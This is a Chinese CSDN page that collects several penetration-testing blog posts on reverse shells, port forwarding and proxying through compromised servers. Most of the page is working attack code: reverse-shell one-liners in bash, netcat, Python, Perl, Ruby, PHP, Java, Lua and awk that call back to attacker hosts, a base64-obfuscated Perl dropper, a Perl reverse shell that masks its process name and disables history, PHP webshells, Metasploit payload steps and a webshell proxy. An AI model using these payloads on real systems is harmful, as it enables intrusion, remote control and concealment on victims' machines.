php shell端口反弹_shell反弹怎么端口转发 - CSDN
精华内容
参与话题
  • 奇淫技巧 0x00 前言 在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地...部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口   bash -i >& /dev/tcp/x.x.x.x/2333 0&g...

    奇淫技巧

    0x00 前言

    在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.

    0x01 反弹shell

    1) Bash
    部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

     

    bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

     

     

     

    2) NetCat
    Netcat反弹shell也是常用兵器,经典命令参数-e

     

    但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

    或者本地监听两个端口,通过管道,一处输入,一处输出

     

    其他方式基本沿用以上思路,如将nc更换为telnet等

     

    mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe

     

    3) PHP
    PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell

    <?php
    function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
    }
    function execute($cfe) {
    $res = '';
    if ($cfe) {
    if(function_exists('exec')) {
    @exec($cfe,$res);
    $res = join("\n",$res);
    } elseif(function_exists('shell_exec')) {
    $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(function_exists('passthru')) {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $res = '';
    while(!@feof($f)) {
    $res .= @fread($f,1024);
    }
    @pclose($f);
    }
    }
    return $res;
    }
    function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
    }
    }
    
    $yourip = "x.x.x.x";
    $yourport = "2333";
    $usedb = array('perl'=>'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    ?>

    访问,成功返回

     

    但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如

     

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

     

    生成文件内容像这样

     

     

     

    将文件传入shell中,在msf中开一个handler

    msf > use multi/handler
    msf exploit(handler) > set PAYLOAD php/reverse_php
    msf exploit(handler) > set LHOST x.x.x.x
    msf exploit(handler) > set LPORT 2333
    msf exploit(handler) > exploit

    此时访问re.php,即可反弹到本地一个shell

    当然,用nc直接监听端口也是可以的
    其他可以考虑使用msf编码变形等,github也有这样一个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参考

    4) JSP
    JSP类似,使用msf生成一个反弹shell

     

    msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

    然后在msf中开一个handler

     

    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.10.1
    msf exploit(handler) > exploit

    类似方法即可反弹回shell

    5) Python
    一个Python反弹shell的代码demo

    python -c 'import
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

     

    整洁规范的Python写法应该像是这样,更易懂些:

     

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("x.x.x.x",2333))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"]);

    其他脚本像这样子

     

    python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc =
    subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
    stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

    msf的payload给出这样的解法

    msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

    生成编码后文件:

    import base64;
    exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0
    LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

    Base64解码后:

     

    import socket,struct
    s=socket.socket(2,1)
    s.connect(('x.x.x.x',2333))
    l=struct.unpack('&gt;I',s.recv(4))[0]
    d=s.recv(4096)
    while len(d)!=l:
    d+=s.recv(4096)
    exec(d,{'s':s})

    此处补充上phith0n同学的正向连接bind_shell

    关于交互式正向连接shell,⼏几点需要注意的地⽅方
    1.不管在linux还是windows下,想要做到交互式,只能开启⼀一个shell.不能够每次接收到命令就再开启⼀一个shell进程,然后执⾏行.
    2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执⾏行完后就结束,注意区别.
    最终Win版本:

     

    from socket import *
    import subprocess
    import os, threading
    def send(talk, proc):
    import time
    while True:
    msg = proc.stdout.readline()
    talk.send(msg)
    if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',23333))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
    stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    t = threading.Thread(target = send, args = (talk, proc))
    t.setDaemon(True)
    t.start()
    while True:
    cmd=talk.recv(1024)
    proc.stdin.write(cmd)
    proc.stdin.flush()
    server.close()

     

     

    Linux版本:

     from socket import *
    import subprocess
    import os, threading, sys, time
    if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

     

    执行后主动连接即可

     

     

    6) Perl

    首先给一个原理类似的脚本

     

    perl -e 'use
    Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
    {open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

    然后是一个不依赖调用/bin/bash的方法

     

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~-
    >fdopen($c,w);system$_ while<>;'

    一个完整的反弹pl脚本

     

    #!/usr/bin/perl -w
    # perl-reverse-shell - A Reverse Shell implementation in PERL
    use strict;
    use Socket;
    use FileHandle;
    use POSIX;
    my $VERSION = "1.0";
    # Where to send the reverse shell. Change these.
    my $ip = 'x.x.x.x';
    my $port = 2333;
    # Options
    my $daemon = 1;
    my $auth = 0; # 0 means authentication is disabled and any
    # source IP can access the reverse shell
    my $authorised_client_pattern = qr(^127\.0\.0\.1$);
    # Declarations
    my $global_page = "";
    my $fake_process_name = "/usr/sbin/apache";
    # Change the process name to be less conspicious
    $0 = "[httpd]";
    # Authenticate based on source IP address if required
    if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
    if ($auth) {
    unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
    cgiprint("ERROR: Your client isn't authorised to view this page");
    cgiexit();
    }
    }
    } elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
    }
    # Background and dissociate from parent process if required
    if ($daemon) {
    my $pid = fork();
    if ($pid) {
    cgiexit(0); # parent exits
    }
    setsid();
    chdir('/');
    umask(0);
    }
    # Make TCP connection for reverse shell
    socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
    } else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();
    }
    # Redirect STDIN, STDOUT and STDERR to the TCP connection
    open(STDIN, "&gt;&amp;SOCK");
    open(STDOUT,"&gt;&amp;SOCK");
    open(STDERR,"&gt;&amp;SOCK");
    $ENV{'HISTFILE'} = '/dev/null';
    system("w;uname -a;id;pwd");
    exec({"/bin/sh"} ($fake_process_name, "-i"));
    # Wrapper around print
    sub cgiprint {
    my $line = shift;
    $line .= "&lt;p&gt;\n";
    $global_page .= $line;
    }
    # Wrapper around exit
    sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
    }
    
    # Form HTTP response using all the messages gathered by cgiprint so far
    sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
    Connection: close\r
    Content-Type: text\/html\r\n\r\n" . $global_page;
    }

    ASP环境下调用perlscript执行方式

     

    <%@Language=PerlScript%>

    #表明ASP脚本使⽤用语⾔言为Perlscript

    <%
    system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
    #⽤用system函数执⾏行命令的⽅方式
    #exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
    #⽤用exec函数执⾏行命令的⽅方式
    %>

    7) Ruby
    惯例,首先一个调用/bin/sh的

     

    ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    一个不依赖于/bin/sh的反弹shell:

     

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

     

    Windows环境使用

     

    ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    此外MSF中也有相应模块可以调用,就不多提
    8) Java
    给出一个调用/bin/bash的脚本

     

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/x.x.x.x/2333;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
    p.waitFor()

    MSF中也有相应模块可以调用

    9) Lua

     

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    类似不做解释

     

    0x02 端口转发

    上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发. 已知的大众方式如:
    lcx老牌工具
    htran/fport/fpipe等
    antifw修改3389端口为80
    reduh提供了借助http/https隧道连接3389的另一种方式
    tunna给出了比reduh更稳定快速的解决方法
    在Linux环境下,则可考虑借助脚本实现,如Perl/Python等. 知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此
    脚本,支持多client同时连接

     

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import socket
    
    import threading
    import logging
    import optparse
    class PipeThread(threading.Thread):
    def __init__(self, source_fd, target_fd):
    super(PipeThread, self).__init__()
    self.logger = logging.getLogger('PipeThread')
    self.source_fd = source_fd
    self.target_fd = target_fd
    self.source_addr = self.source_fd.getpeername()
    self.target_addr = self.target_fd.getpeername()
    def run(self):
    while True:
    try:
    data = self.source_fd.recv(4096)
    if len(data) > 0:
    self.logger.debug('read %04i from %s:%d', len(data),
    self.source_addr[0], self.source_addr[1])
    sent = self.target_fd.send(data)
    self.logger.debug('write %04i to %s:%d', sent,
    self.target_addr[0], self.target_addr[1])
    else:
    break
    except socket.error:
    break
    self.logger.debug('connection %s:%d is closed.', self.source_addr[0],
    self.source_addr[1])
    self.logger.debug('connection %s:%d is closed.', self.target_addr[0],
    self.target_addr[1])
    self.source_fd.close()
    self.target_fd.close()
    
    class Forwarder(object):
    def __init__(self, ip, port, remoteip, remoteport, backlog=5):
    self.remoteip = remoteip
    self.remoteport = remoteport
    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.sock.bind((ip, port))
    self.sock.listen(backlog)
    def run(self):
    while True:
    client_fd, client_addr = self.sock.accept()
    target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target_fd.connect((self.remoteip, self.remoteport))
    threads = [
    PipeThread(client_fd, target_fd),
    PipeThread(target_fd, client_fd)
    ]
    for t in threads:
    t.setDaemon(True)
    t.start()
    def __del__(self):
    self.sock.close()
    if __name__ == '__main__':
    parser = optparse.OptionParser()
    parser.add_option(
    '-l', '--local-ip', dest='local_ip',
    help='Local IP address to bind to')
    parser.add_option(
    '-p', '--local-port',
    type='int', dest='local_port',
    help='Local port to bind to')
    parser.add_option(
    '-r', '--remote-ip', dest='remote_ip',
    help='Local IP address to bind to')
    parser.add_option(
    '-P', '--remote-port',
    type='int', dest='remote_port',
    
    help='Remote port to bind to')
    parser.add_option(
    '-v', '--verbose',
    action='store_true', dest='verbose',
    help='verbose')
    opts, args = parser.parse_args()
    if len(sys.argv) == 1 or len(args) > 0:
    parser.print_help()
    exit()
    if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
    parser.print_help()
    exit()
    if opts.verbose:
    log_level = logging.DEBUG
    else:
    log_level = logging.CRITICAL
    logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')
    forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)
    try:
    forwarder.run()
    except KeyboardInterrupt:
    print 'quit'
    exit()

    使用方式如

     

    python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

    至于Perl脚本,网络中也有相关资料,大家可自行修改使用.
    此外,推荐可结合msf加以免杀使用的tunna :) 具体使用方式细节不再介绍.

    0x03 开放代理

    如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的 一个可用socks.py脚本可以更易的完成socks代理添加 使用方式如:

     

    nohup python s5.py 1080 &amp;

    只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种
    思路.
    将如下脚本以shell权限丢至服务器

    <?php
    if(!isset($_GET['url'])){
    exit(0);
    }
    $ch = curl_init();
    $url=$_GET['url'];
    if(strstr($url,'?')){
    $url.='&';
    }
    else{
    $url.='?';
    }
    unset($_GET['url']);
    foreach($_GET as $Key=>$Val){
    if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
    }
    $url=$url.'&'.$Key.'='.urlencode($Val);
    }
    $cookie='';
    foreach($_COOKIE as $Key=>$Val){
    if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
    }
    $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
    }
    if($_SERVER['REQUEST_METHOD']=="POST"){
    curl_setopt($ch, CURLOPT_POST, 1);
    $post_data='';
    foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
    }
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    }
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    if(isset($_SERVER['HTTP_REFERER'])){
    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
    }
    $Response=curl_exec($ch);
    if(!$Response){
    curl_close($ch);
    exit(0);
    }
    $HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
    $Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
    $Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
    $Headers=split("\r\n",$Header);
    foreach($Headers as $ThusHead){
    if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
    continue;
    }
    header($ThusHead,FALSE);
    }
    echo $Body;
    curl_close($ch);
    ?>

    另搭建一nginx服务器,添加如下配置

    server {
    listen 监听端⼝口;
    location ~ () {
    proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
    proxy_set_header Host "访问webshell所用域名";
    }
    }

    重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.

     

    0x04 小结

    仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.

    0x05 参考资料

    [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    [2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    [3] http://www.waitalone.cn/linux-shell-rebound-under-way.html
    [4] http://tool.p1ng.pw/getshell.html
    [5] 互联网其他相关资料

    展开全文
  • PHP反弹shell

    2020-10-06 22:44:14
    ②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。 ③、攻击机器和受害服务器要处于同一网段。 1、划线为攻击机的IP+端口。 2、攻击机监听自身端口4444,即可获取执行shell。 <?php ...

    步骤详解:
    前提:
    ①、PHPStudy开启相关服务。
    ②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
    ③、攻击机器和受害服务器要处于同一网段。
    1、划线为攻击机的IP+端口。
    在这里插入图片描述2、攻击机监听自身端口4444,即可获取执行shell。
    在这里插入图片描述

    <?php 
    set_time_limit(0); 
    $ip=$_POST['ip'];
    $port=$_POST['port'];
    $fp=@fsockopen($ip,$port,$errno,$errstr);
    if(!$fp){echo "error";}
    else{
    	fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
    	while(!feof($fp)){
    	fputs($fp,"shell:");
    	$shell=fgets($fp);
    	$message=`$shell`;
    	fputs($fp,$message);
    	}
    fclose($fp);
    }
    ?>
    

    代码注释:
    1、set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
    2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
    3、$fp=@fsockopen($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
    4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
    5、feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
    6、fputs($fp,"shell:");向句柄输出shell:的提示
    7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
    8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
    9、fputs($fp,$message);将结果输出至攻击机端显示。
    10、fclose($fp);关闭文件句柄。

    展开全文
  • 渗透中反弹shell端口 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 注意这个是由解析shell的bash完成,所以某些情况下不支持 python版本: `python-c'import socket,subprocess,os;s=socket....

    渗透中反弹shell与端口

    bash版本:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    

    注意这个是由解析shell的bash完成,所以某些情况下不支持

    python版本:

    `python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("10.0.0.1",1234));
    os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
    

    php版本:

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    

    nc版本:

    nc -e /bin/sh 223.8.200.234 1234
    

    nc不使用-e:

    mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
    

    perl版本:

    perl-e'use
     Socket;$i="10.0.0.1";$p=1234;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
     if(connect(S,sockaddr_in($p,inet_aton($i))))
     {open(STDIN,">&S");open(STDOUT,">&S");
     open(STDERR,">&S");
     exec("/bin/sh -i");};'
    

    ruby版本:

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
    exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    

    mknod:

    mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
    

    java版本:

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
    

    lua版本:

    lua-e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    
    展开全文
  • 几种常见反弹shell汇总

    千次阅读 2019-11-10 20:50:00
    nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用 在目标主机上执行: bash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号 解释: bash -i 打开一个交互...

    0x01. bash

    1. 在攻击主机上执行端口监听:
    nc -lvvp port				//port 为攻击主机端口号,并且此端口号没有被占用
    
    1. 在目标主机上执行:
    bash -i >& /dev/tcp/攻击主机ip/port 0>&1				//port 为攻击主机端口号
    
    1. 解释:
    bash -i   打开一个交互的bash
    
    >&   将标准错误输出重定向到标准输出
    
    /dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
    
    0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互
    

    /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    其他版本:

    exec 5<>/dev/tcp/x.x.x.x/9999
    
    cat <&5 | while read line; do $line 2>&5 >&5; done
    
    
    • 第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出

    • 第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

    0x02. nc(netcat)反弹

    1. 在攻击主机上执行端口监听:
    nc -lvvp port				//port 为攻击主机端口号,并且此端口号没有被占用
    
    1. 在目标主机上执行:
    nc -e /bin/bash 攻击主机ip port
    
    1. 还可以在目标主机上这样执行
    nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321				//在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果
    
    1. 由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port-e选项的主机,还可以这样反弹shell
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
    
    • rm /tmp/f 删除命令
    • mkfifo /tmp/f; 在tmp目录下写fifo文件f
    • /bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出
    • nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo

    0x03. telnet反弹

    1. 在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:
    nc -lvvp 1234
    
    nc -lvvp 4321
    
    1. 在目标主机上执行:
    telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321
    

    常见脚本反弹

    以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击主机ip,并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述

    1. python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    

    2. perl

    方法一:

    perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    方法二:

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    

    3. Ruby

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    

    4. PHP

    php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
    

    5. Java

    	public class Revs {
        /**
        * @param args
        * @throws Exception 
        */
        public static void main(String[] args) throws Exception {
            // TODO Auto-generated method stub
            Runtime r = Runtime.getRuntime();
            String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process p = r.exec(cmd);
            p.waitFor();
        }
    }
    

    6. Lua

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    

    7. AWK 反弹

    攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

    awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
    

    Reference

    展开全文
  • 渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入。 需要转发的情况 1.A可以访问B的80端口,但是不能访问B的3389端口。 2.A可以访问B,B可以访问C,但是A不可以...
  • shell反弹的几种方式

    千次阅读 2016-06-08 16:58:43
    直接利用linux上的bash进行反弹 nc本地监听 nc -l -p port -vv base反弹 bash -i >& /dev/tcp/ownip/port 0>&1 利用其他服务器运行环境反弹,比如php,python等。 nc本地监听nc -l -p port -vvv php -r '$sock=...
  • Web渗透中的反弹Shell端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php 将文件传入shell中,在msf中开一个handlermsf > use mu....
  • linux下反弹shell的几种方法

    万次阅读 2017-03-20 08:19:20
    反弹的开始,我们需要使用nc在本地或者任意要反弹到的地方监听一个端口。最简单的做法是nc -l -p 8080,8080为要反弹端口0x01—使用bashbash -i >& /dev/[tcp|udp]/10.1.1.19/8080 0>&1 注:该命令使用的是系统...
  • 文章目录一、介绍1.1 含义1.2 目的二、反弹方式2.1 Bash反弹shell2.1.1 适用对象2.1.2 操作方法2.1.3 命令原理 声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境! 一、介绍 1.1 ...
  • Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 cat <&5 | while read line; do $line 2>&5 >&...while read line...
  • msf反弹shell

    千次阅读 2019-06-28 11:54:25
